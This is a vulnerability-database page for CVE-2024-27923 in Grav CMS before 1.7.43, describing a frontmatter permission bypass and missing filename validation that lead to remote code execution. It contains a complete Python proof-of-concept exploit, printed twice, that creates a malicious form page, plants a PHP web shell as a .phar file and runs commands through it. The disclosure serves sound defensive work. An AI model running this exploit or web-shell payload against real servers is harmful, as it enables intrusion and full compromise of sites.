Vulnerability-Lookup

GHSA-F6G2-H7QV-3M5V

Vulnerability from github – Published: 2024-03-06 16:58 – Updated: 2026-02-17 19:39

Summary

Remote Code Execution by uploading a phar file using frontmatter

Details

Summary

Due to insufficient permission verification, user who can write a page use frontmatter feature.
Inadequate File Name Validation

Details

Insufficient Permission Verification

In Grav CMS, "Frontmatter" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post. In this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[_json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. Video Link

Inadequate File Name Validation

To create a Contact Form, Frontmatter and markdown can be written as follows: Contact Form Example Form Action Save Option When an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of "feedback.txt," a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the "name" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the "name" field to be saved on the server. However, Grav filter the < and > characters, so to disable these options, an xss_check: false attribute should be added. Disable XSS

---
title: Contact Form

form:
    name: contact
    xss_check: false

    fields:
        name:
          label: Name
          placeholder: Enter your name
          autocomplete: on
          type: text
          validate:
            required: true

    buttons:
        submit:
          type: submit
          value: Submit

    process:
        save:
            filename: this_is_file_name.phar
            operation: add

---

# Contact form

Some sample page content

Exploiting these two vulnerabilities allows the following scenario:

A regular user account capable of creating pages is required.
An attacker creates a Contact Form page containing malicious Frontmatter using the regular user's account.
Accessing the Contact Form page, the attacker submits PHP code.
The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].

PoC

PoC Video Link

# PoC.py
import requests
from bs4 import BeautifulSoup

class Poc:

    def __init__(self, cmd):
        self.sess = requests.Session()

        ##########    INIT    ################
        self.USERNAME = "guest"
        self.PASSWORD = "Guest123!"
        self.PREFIX_URL = "http://192.168.12.119:8888/grav"
        self.PAGE_NAME = "this_is_poc_page47"
        self.PHP_FILE_NAME = "universe.phar"
        self.PAYLOAD = '<?php system($_GET["cmd"]); ?>'
        self.cmd = cmd
        ##########    END    ################

        self.sess.get(self.PREFIX_URL)
        self._login()
        self._save_page()
        self._inject_command()
        self._execute_command()


    def _get_nonce(self, data, name):
        # Get login nonce value
        res = BeautifulSoup(data, "html.parser")
        return res.find("input", {"name" : name}).get("value")


    def _login(self):
        print("[*] Try to Login")
        res = self.sess.get(self.PREFIX_URL + "/admin")

        login_nonce = self._get_nonce(res.text, "login-nonce")

        # Login
        login_data = {
            "data[username]" : self.USERNAME,
            "data[password]" : self.PASSWORD,
            "task" : "login",
            "login-nonce" : login_nonce
        }
        res = self.sess.post(self.PREFIX_URL + "/admin", data=login_data)

        # Check login
        if res.status_code != 303:
            print("[!] username or password is wrong")
            exit()

        print("[*] Success Login")


    def _save_page(self):
        print("[*] Try to write page")

        res = self.sess.get(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add")
        form_nonce = self._get_nonce(res.text, "form-nonce")
        unique_form_id = self._get_nonce(res.text, "__unique_form_id__")

        # Add page data
        page_data  = f"task=save&data%5Bheader%5D%5Btitle%5D={self.PAGE_NAME}&data%5Bcontent%5D=content&data%5Bheader%5D%5Bsearch%5D=&data%5Bfolder%5D={self.PAGE_NAME}&data%5Broute%5D=&data%5Bname%5D=form&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&toggleable_data%5Bheader%5D%5Bprocess%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Bredirect_default_route%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0"
        page_data += f"&data%5B_json%5D%5Bheader%5D%5Bform%5D=%7B%22xss_check%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHP_FILE_NAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D"
        res = self.sess.post(self.PREFIX_URL + f"/admin/pages/{self.PAGE_NAME}/:add" , data = page_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

        print("[*] Success write page: " + self.PREFIX_URL + f"/{self.PAGE_NAME}")


    def _inject_command(self):
        print("[*] Try to inject php code")

        res = self.sess.get(self.PREFIX_URL + f"/{self.PAGE_NAME}")
        form_nonce = self._get_nonce(res.text, "form-nonce")
        unique_form_id = self._get_nonce(res.text, "__unique_form_id__")

        form_data = f"data%5Bname%5D={self.PAYLOAD}&__form-name__=contact-form&__unique_form_id__={unique_form_id}&form-nonce={form_nonce}"

        res = self.sess.post(self.PREFIX_URL + f"/{self.PAGE_NAME}" , data = form_data, headers = {'Content-Type': 'application/x-www-form-urlencoded'})

        print("[*] Success inject php code")


    def _execute_command(self):
        res = self.sess.get(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")

        if res.status_code == 404:
            print("[!] Fail to execute command or not save php file.")
            exit()

        print("[*] This is uploaded php file url.")
        print(self.PREFIX_URL + f"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}")
        print(res.text)


if __name__ == "__main__":
    Poc(cmd="id")

Impact

Remote Code Execution

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.43"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-27923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-06T16:58:33Z",
    "nvd_published_at": "2024-03-21T02:52:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n- Due to insufficient permission verification, user who can write a page use frontmatter feature.\n- Inadequate File Name Validation\n\n### Details\n1. Insufficient Permission Verification\n\nIn Grav CMS, \"[Frontmatter](https://learn.getgrav.org/17/content/headers)\" refers to the metadata block located at the top of a Markdown file. Frontmatter serves the purpose of providing additional information about a specific page or post.\nIn this feature, only administrators are granted access, while regular users who can create pages are not. However, if a regular user adds the data[_json][header][form] parameter to the POST Body while creating a page, they can use Frontmatter. The demonstration of this vulnerability is provided in video format. [Video Link](https://www.youtube.com/watch?v=EU1QA0idoWE)\n\n2. Inadequate File Name Validation\n\nTo create a Contact Form, Frontmatter and markdown can be written as follows:\n[Contact Form Example](https://learn.getgrav.org/17/forms/forms/example-form)\n[Form Action Save Option](https://learn.getgrav.org/17/forms/forms/reference-form-actions#save)\nWhen an external user submits the Contact Form after filling it out, the data is stored in the user/data folder. The filename under which the data is stored corresponds to the value specified in the filename attribute of the process property. For instance, if the filename attribute has a value of \"feedback.txt,\" a feedback.txt file is created in the user/data/contact folder. This file contains the value entered by the user in the \"name\" field. The problem with this functionality is the lack of validation for the filename attribute, potentially allowing the creation of files such as phar files on the server. An attacker could input arbitrary PHP code into the \"name\" field to be saved on the server. However, Grav filter the \u003c and \u003e characters, so to disable these options, an xss_check: false attribute should be added. [Disable XSS](https://learn.getgrav.org/17/forms/forms/form-options#xss-checks)\n\n```\n---\ntitle: Contact Form\n\nform:\n    name: contact\n    xss_check: false\n\n    fields:\n        name:\n          label: Name\n          placeholder: Enter your name\n          autocomplete: on\n          type: text\n          validate:\n            required: true\n\n    buttons:\n        submit:\n          type: submit\n          value: Submit\n\n    process:\n        save:\n            filename: this_is_file_name.phar\n            operation: add\n\n---\n\n# Contact form\n\nSome sample page content\n```\n\nExploiting these two vulnerabilities allows the following scenario:\n\n- A regular user account capable of creating pages is required.\n- An attacker creates a Contact Form page containing malicious Frontmatter using the regular user\u0027s account.\n- Accessing the Contact Form page, the attacker submits PHP code.\n- The attacker attempts Remote Code Execution by accessing HOST/user/data/[form-name]/[filename].\n\n### PoC\n\n[PoC Video Link](https://www.youtube.com/watch?v=Gh3ezpORbPc)\n\n```python\n# PoC.py\nimport requests\nfrom bs4 import BeautifulSoup\n\nclass Poc:\n\n    def __init__(self, cmd):\n        self.sess = requests.Session()\n\n        ##########    INIT    ################\n        self.USERNAME = \"guest\"\n        self.PASSWORD = \"Guest123!\"\n        self.PREFIX_URL = \"http://192.168.12.119:8888/grav\"\n        self.PAGE_NAME = \"this_is_poc_page47\"\n        self.PHP_FILE_NAME = \"universe.phar\"\n        self.PAYLOAD = \u0027\u003c?php system($_GET[\"cmd\"]); ?\u003e\u0027\n        self.cmd = cmd\n        ##########    END    ################\n\n        self.sess.get(self.PREFIX_URL)\n        self._login()\n        self._save_page()\n        self._inject_command()\n        self._execute_command()\n    \n\n    def _get_nonce(self, data, name):\n        # Get login nonce value\n        res = BeautifulSoup(data, \"html.parser\")\n        return res.find(\"input\", {\"name\" : name}).get(\"value\")\n\n    \n    def _login(self):\n        print(\"[*] Try to Login\")\n        res = self.sess.get(self.PREFIX_URL + \"/admin\")\n\n        login_nonce = self._get_nonce(res.text, \"login-nonce\")\n\n        # Login\n        login_data = {\n            \"data[username]\" : self.USERNAME,\n            \"data[password]\" : self.PASSWORD,\n            \"task\" : \"login\",\n            \"login-nonce\" : login_nonce\n        }\n        res = self.sess.post(self.PREFIX_URL + \"/admin\", data=login_data)\n\n        # Check login\n        if res.status_code != 303:\n            print(\"[!] username or password is wrong\")\n            exit()\n        \n        print(\"[*] Success Login\")\n\n\n    def _save_page(self):\n        print(\"[*] Try to write page\")\n\n        res = self.sess.get(self.PREFIX_URL + f\"/admin/pages/{self.PAGE_NAME}/:add\")\n        form_nonce = self._get_nonce(res.text, \"form-nonce\")\n        unique_form_id = self._get_nonce(res.text, \"__unique_form_id__\")\n\n        # Add page data\n        page_data  = f\"task=save\u0026data%5Bheader%5D%5Btitle%5D={self.PAGE_NAME}\u0026data%5Bcontent%5D=content\u0026data%5Bheader%5D%5Bsearch%5D=\u0026data%5Bfolder%5D={self.PAGE_NAME}\u0026data%5Broute%5D=\u0026data%5Bname%5D=form\u0026data%5Bheader%5D%5Bbody_classes%5D=\u0026data%5Bordering%5D=1\u0026data%5Border%5D=\u0026data%5Bheader%5D%5Border_by%5D=\u0026data%5Bheader%5D%5Border_manual%5D=\u0026data%5Bblueprint%5D=\u0026data%5Blang%5D=\u0026_post_entries_save=edit\u0026__form-name__=flex-pages\u0026__unique_form_id__={unique_form_id}\u0026form-nonce={form_nonce}\u0026toggleable_data%5Bheader%5D%5Bpublished%5D=0\u0026toggleable_data%5Bheader%5D%5Bdate%5D=0\u0026toggleable_data%5Bheader%5D%5Bpublish_date%5D=0\u0026toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0\u0026toggleable_data%5Bheader%5D%5Bmetadata%5D=0\u0026toggleable_data%5Bheader%5D%5Bdateformat%5D=0\u0026toggleable_data%5Bheader%5D%5Bmenu%5D=0\u0026toggleable_data%5Bheader%5D%5Bslug%5D=0\u0026toggleable_data%5Bheader%5D%5Bredirect%5D=0\u0026toggleable_data%5Bheader%5D%5Bprocess%5D=0\u0026toggleable_data%5Bheader%5D%5Btwig_first%5D=0\u0026toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0\u0026toggleable_data%5Bheader%5D%5Bchild_type%5D=0\u0026toggleable_data%5Bheader%5D%5Broutable%5D=0\u0026toggleable_data%5Bheader%5D%5Bcache_enable%5D=0\u0026toggleable_data%5Bheader%5D%5Bvisible%5D=0\u0026toggleable_data%5Bheader%5D%5Bdebugger%5D=0\u0026toggleable_data%5Bheader%5D%5Btemplate%5D=0\u0026toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0\u0026toggleable_data%5Bheader%5D%5Bredirect_default_route%5D=0\u0026toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0\u0026toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0\u0026toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0\u0026toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0\u0026toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0\"\n        page_data += f\"\u0026data%5B_json%5D%5Bheader%5D%5Bform%5D=%7B%22xss_check%22%3Afalse%2C%22name%22%3A%22contact-form%22%2C%22fields%22%3A%7B%22name%22%3A%7B%22label%22%3A%22Name%22%2C%22placeholder%22%3A%22Enter+php+code%22%2C%22autofocus%22%3A%22on%22%2C%22autocomplete%22%3A%22on%22%2C%22type%22%3A%22text%22%2C%22validate%22%3A%7B%22required%22%3Atrue%7D%7D%7D%2C%22process%22%3A%7B%22save%22%3A%7B%22filename%22%3A%22{self.PHP_FILE_NAME}%22%2C%22operation%22%3A%22add%22%7D%7D%2C%22buttons%22%3A%7B%22submit%22%3A%7B%22type%22%3A%22submit%22%2C%22value%22%3A%22Submit%22%7D%7D%7D\"\n        res = self.sess.post(self.PREFIX_URL + f\"/admin/pages/{self.PAGE_NAME}/:add\" , data = page_data, headers = {\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027})\n\n        print(\"[*] Success write page: \" + self.PREFIX_URL + f\"/{self.PAGE_NAME}\")\n\n\n    def _inject_command(self):\n        print(\"[*] Try to inject php code\")\n\n        res = self.sess.get(self.PREFIX_URL + f\"/{self.PAGE_NAME}\")\n        form_nonce = self._get_nonce(res.text, \"form-nonce\")\n        unique_form_id = self._get_nonce(res.text, \"__unique_form_id__\")\n\n        form_data = f\"data%5Bname%5D={self.PAYLOAD}\u0026__form-name__=contact-form\u0026__unique_form_id__={unique_form_id}\u0026form-nonce={form_nonce}\"\n\n        res = self.sess.post(self.PREFIX_URL + f\"/{self.PAGE_NAME}\" , data = form_data, headers = {\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027})\n\n        print(\"[*] Success inject php code\")\n\n\n    def _execute_command(self):\n        res = self.sess.get(self.PREFIX_URL + f\"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}\")\n\n        if res.status_code == 404:\n            print(\"[!] Fail to execute command or not save php file.\")\n            exit()\n\n        print(\"[*] This is uploaded php file url.\")\n        print(self.PREFIX_URL + f\"/user/data/contact-form/{self.PHP_FILE_NAME}?cmd={self.cmd}\")\n        print(res.text)\n\n\nif __name__ == \"__main__\":\n    Poc(cmd=\"id\")\n```\n\n### Impact\n\nRemote Code Execution",
  "id": "GHSA-f6g2-h7qv-3m5v",
  "modified": "2026-02-17T19:39:34Z",
  "published": "2024-03-06T16:58:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/e3b0aa0c502aad251c1b79d1ee973dcd93711f07"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Remote Code Execution by uploading a phar file using frontmatter"
}

CVE-2024-27923 (GCVE-0-2024-27923)

Vulnerability from cvelistv5 – Published: 2024-03-06 20:28 – Updated: 2024-08-02 18:35

Title

Remote Code Execution by uploading a phar file using frontmatter

Summary

Grav is a content management system (CMS). Prior to version 1.7.43, users who may write a page may use the `frontmatter` feature due to insufficient permission validation and inadequate file name validation. This may lead to remote code execution. Version 1.7.43 fixes this issue.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-08-02 18:34 UTC

CWE

CWE-287 - Improper Authentication
CWE-434 - Unrestricted Upload of File with Dangerous Type

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7868 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/getgrav/grav/security/advisori…	x_refsource_CONFIRM
https://github.com/getgrav/grav/commit/e3b0aa0c50…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
getgrav	grav	Affected: < 1.7.43
getgrav	grav	Affected: 0 , < 1.7.43 (custom) cpe:2.3:a:getgrav:grav::::::::

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:41:55.863Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v"
          },
          {
            "name": "https://github.com/getgrav/grav/commit/e3b0aa0c502aad251c1b79d1ee973dcd93711f07",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/getgrav/grav/commit/e3b0aa0c502aad251c1b79d1ee973dcd93711f07"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "grav",
            "vendor": "getgrav",
            "versions": [
              {
                "lessThan": "1.7.43",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27923",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-02T18:34:03.665942Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-02T18:35:36.095Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.43"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav is a content management system (CMS). Prior to version 1.7.43, users who may write a page may use the `frontmatter` feature due to insufficient permission validation and inadequate file name validation. This may lead to remote code execution. Version 1.7.43 fixes this issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-287",
              "description": "CWE-287: Improper Authentication",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-434",
              "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-03-06T20:28:46.695Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-f6g2-h7qv-3m5v"
        },
        {
          "name": "https://github.com/getgrav/grav/commit/e3b0aa0c502aad251c1b79d1ee973dcd93711f07",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/getgrav/grav/commit/e3b0aa0c502aad251c1b79d1ee973dcd93711f07"
        }
      ],
      "source": {
        "advisory": "GHSA-f6g2-h7qv-3m5v",
        "discovery": "UNKNOWN"
      },
      "title": "Remote Code Execution by uploading a phar file using frontmatter"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-27923",
    "datePublished": "2024-03-06T20:28:46.695Z",
    "dateReserved": "2024-02-28T15:14:14.214Z",
    "dateUpdated": "2024-08-02T18:35:36.095Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-F6G2-H7QV-3M5V

Summary

Details

PoC

Impact

CVE-2024-27923 (GCVE-0-2024-27923)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour